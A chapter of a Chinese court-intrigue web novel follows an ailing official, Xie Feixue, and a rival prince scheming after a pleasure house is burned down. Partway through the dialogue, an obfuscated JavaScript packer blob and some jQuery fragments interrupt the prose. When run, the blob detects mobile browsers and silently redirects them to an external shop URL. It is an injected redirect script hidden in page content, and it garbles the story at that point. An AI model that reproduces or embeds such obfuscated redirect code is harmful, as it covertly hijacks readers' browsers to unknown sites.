舒逸第二日就换上一身麻布衣服从后门溜出谢府,听谢霏雪的去绘制京城周围的山水舆图。
这几日除了那个大块头黑侍卫逼着他扎马步学武,再就是疏桐姐姐敲打他学字和画画。
虽然不知道谢霏雪要这个干什么,但是既然谢府能吃饱饭,那他就是谢霏雪手下最忠诚的仆人。
江采拜见过太子,得知谢霏雪高烧告假,如今也前来谢府与谢霏雪辞行。
“下官听吴大人说陛下已知奏销全貌却没什么动静。”江采没想到谢大人在因病告假的时候还能在书房办公,自己也张口就变成公务了。
“你很快就要去随军了,此事不宜再掺和,你就权当不知道吧。”
谢霏雪刚退烧,在书房还披着厚重的披风,时不时咳两声再喝一口雪梨汤。
“好。”江采点头如捣蒜,说,“下官恐怕此去要好几年才能回来,您多保重啊。”
“等你走了我就把文谦调回来,你也多保重。”
“下官还要回来给您报恩呢!”
江采冒雪而来,回江府的时候已经雪停了,踩出一路长长的脚印离开。
院外一个飞鸽冒出头,黑豆眼看着谢府内诸人,随后振翅飞进谢霏雪的书房里。
肥鸽子俯冲在谢霏雪的桌上,撞得头晕目眩倒在谢霏雪笔前装死。
“书雁?”谢霏雪捧起桌上的肥鸽子,拆下信筒。
这是谢家的信鸽,合她眼缘就给要来了,取名为“书雁”。
书雁闻着谢霏雪身上清新的草木香,晕乎乎地站起来昂首挺胸,翅膀还拍了两下才收起来。
“是太子送来的?”
信中写着今日朝中的事,吏部侍郎上奏称政事堂事务繁杂主事人手不够,燕彰已经批了两人进政事堂户房。
燕彰已能把持朝政了,但对于奏销一事却迟迟没有回复,太子也之后旁敲侧击地问过,也是制止此事不再有,但并不追究二皇子。
“……这位也失心疯了吗?”谢霏雪一时无奈地抱着暖炉捂住脸,明眼人都看得出是燕殊要插几个人进户房架空她了。
虽然嘴上说着失心疯,但谢霏雪心中多少清楚燕彰此举并非本愿,宫内有奇香,宫外燕殊还在干涉政事堂,恐怕都是一人所为吧。
手中的香料古籍并不多,提到用途的也少,能两个时辰便使人梦魇的香在古籍也未必能查到。
西域倒是产香料,可惜手头的书里也没有记载,得找个行走西域的人打听打听。
谢霏雪脑子里第一个人是江琢,他前些日子正好去西域行商,只是不知道回来了没有。
信中还提到太子一直都派人盯着二皇子府,这个荒淫无度的弟弟最近又收了一个姬妾,还是个舞女。
密函被扔进火堆里,谢霏雪沉默着坐在椅子上,两侧的侍女以为她在思考,大气都不敢出一口。
直到书桌前的人一头栽在桌上,书雁都被吓得飞出窗外,屋里的侍女才惊慌尖叫着喊人和扶起谢霏雪。
迷迷糊糊地听到廖星说话,谢霏雪扭着脖子睁开眼睛看着屋里乌泱泱的人。
“大人醒了!”疏桐眼尖瞧见谢霏雪动脖子,扑到床边叽叽喳喳地问,“大人现在感觉怎么样?还累吗?”
谢霏雪被扶着坐起来,头还有些痛,问:“我怎么了。”
“您这几日受了风寒,昨夜又高烧不退,是疲惫所致。”廖星收起丝绢说。
“大人还是多修养吧,您身子本就弱。”素徽站在床脚挤不进去,忧愁道。
屋外的逐飞突然冲进屋里来,跪在谢霏雪床边,说:“大人英明,醉花楼走水了,幸好谢家探子还留了些,救下了一些人。”
若非谢霏雪留了一部分人,醉花楼一个活口都留不下来,这火本就来得蹊跷,又来势汹汹,顷刻间整个醉花楼便是一片火海。
顶着素徽和疏桐刀子一样的目光,逐飞选择问问谢霏雪接下来的打算。
“您打算如何处理这些人?”
谢霏雪接过廖星塞过来的药碗喝完,说:“先在外面找个院子安置好,我明日去看。”
“大人明日不如休息吧……”疏桐几乎每日都在催谢霏雪去休息。
“等此事结束后吧。”谢霏雪也每日都这样回复。
最后也只能看着谢霏雪每天熬夜看公文和大雪出行。
但是今日都倒在桌子上了,素徽和疏桐说什么都不让她再去忙,谢霏雪只好度过了一个清闲的下午,顺手考教了两个侍女读书。
等到日落才放走了两个侍女,两人宛若老了十岁一般带着谢霏雪又扔来的书在门口守着。
“你真看得懂啊。”疏桐炸着头发问。
“看不懂,乱说吧总能猜对。”素徽双眼空洞地翻书。
谢烟抱着一个木盒子来谢霏雪门前时看到的便是这样一副情景,心中庆幸她从不懈怠学业,宗女大人的婢女都这样求知若渴,她绝不能丢了宗女的脸。
“两位姐姐,宗女大人还好吗?”
“见过大小姐。”两人福身道,“大人正在静养。”
“我是来送东西的。”谢烟把怀里的盒子交给素徽,说,“宗女大人肯定不缺这些,但我还是希望宗女能好起来。”
素徽接过盒子打开一看,是一根品相极好的人参,便合上盒子说:“此物得交给大夫看看,不过大小姐的心意奴婢定告知大人。”
“那我便告退了。”谢烟朝着厢房深深作揖后一步三回头地离开了。
屋内的谢霏雪迷迷糊糊地并不知外面怎么了,睡着前还在想二皇子如今在做什么。
“所以殿下已出手了?”
燕殊“嗯”了一声,靠在窗边与来者对弈,正是叶家二公子叶泊。
“怪不得小人来的路上看到那么大的火。”叶泊佯装不敌,将棋子扔进盒里说,“还是殿下技艺精湛,小人输了。”
“醉花楼是被烧塌了,尸体数量也对的上。”燕殊也扔了棋子。
叶泊把手放在火炉边烤着,说:“您让我带的东西也带来了,这香料是越来越少了,实在难找。”
“很快就用不到了。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785059|208338||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看来是殿下大计将成?”叶泊试探问道。
燕殊嗤笑一声,眸光晦涩,说:“成不成的,谁知道呢。”
随后话题一转对叶泊问道:“你在边塞张家地界逗留许久,除了战事还有什么消息?”
“只有战事了,边境多次来犯,张家也顾不上别的。”叶泊长出一口气,靠在榻边说,“不知要多久才能平息此事。”
“你愁什么?”燕殊笑了一声,摇摇头说,“你就算当官也是一个文臣,又轮不到你去打仗。”
“瞧您说的,天下兴亡匹夫有责啊殿下。”
两人说着又笑起来,各自斟酒小酌,畅谈到深夜。
叶泊练了一身好酒量,等燕殊倒在桌上昏睡的时候唤来侍女照看,自己抖抖衣服晃晃悠悠地出了院子走向自己在皇子府的住处。
“谢大人,您要感谢我啊。”叶泊昏昏沉沉地躺在床上,一边笑一边小声低喃,“您的秘密我可是什么都没泄露。”
第二日晨起时,谢霏雪腿边就挂了两个人,想劝她休息但是又不敢说,最后屈服了去拉着逐飞念叨。
直到出门的时候逐飞后背扛着一个大袋子,装着谢霏雪的大氅暖炉,甚至还用油纸包了蜜饯。
“行了,放在马车里就好。”谢霏雪被这大包小包的行囊惹笑,指挥逐飞在马车放好坐稳。
逐飞坐在马车里低着头,但还是被突然合上书的谢霏雪注意到了。
“我前些日子给你的书看的怎么样了?”
今早就听素徽和疏桐说过谢霏雪考教了她们的功课,没想到这么快就轮到他了。
无法假装沉默了,逐飞磕磕巴巴地说:“属下……觉得这些书……非常有深意……”
还等着继续听的谢霏雪就只收到这么一句话,马车里的气氛就开始凝结,难道她想策反逐飞站她就这么困难吗?
“既然有深意,那就多思考。”谢霏雪不是很想放弃,逐飞知道的太多,如果一直选择效忠镇淮公那就只能成死人了。
“属下听令。”
如今回去除了带小孩还要看书,逐飞痛苦地闭上眼睛。
等马车停下,逐飞迅速窜出去扶谢霏雪下车,此处正是醉花楼救下来的姑娘们安置的地方。
逐飞推开门说:“探子们找了周围被误伤烧死的几具尸体代替了这些人,之后发现的确有人曾返回醉花楼清点人数。”
“做的好。”雪色的狐毛披风下摆落在青砖上,谢霏雪拢起领口走进院子里。
院里的几个姑娘看着还是心有余悸,躲在屋子里抱成一团,看到谢霏雪进门更是低头发抖。
“你们当晚看到其他人了吗?”
没有人回答谢霏雪的话,看来还在被吓破胆。
谢霏雪叹气道:“缩在那种地方,若是再来一场火可谁都救不了你们。”
仿佛是某个字眼刺中了几个姑娘,终于四散开跪在谢霏雪面前,但还是不敢抬头。
一个年幼的姑娘慢慢膝行出来,伏在地上颤颤巍巍地说:“我看到落香姐姐以前的屋里,有个人。”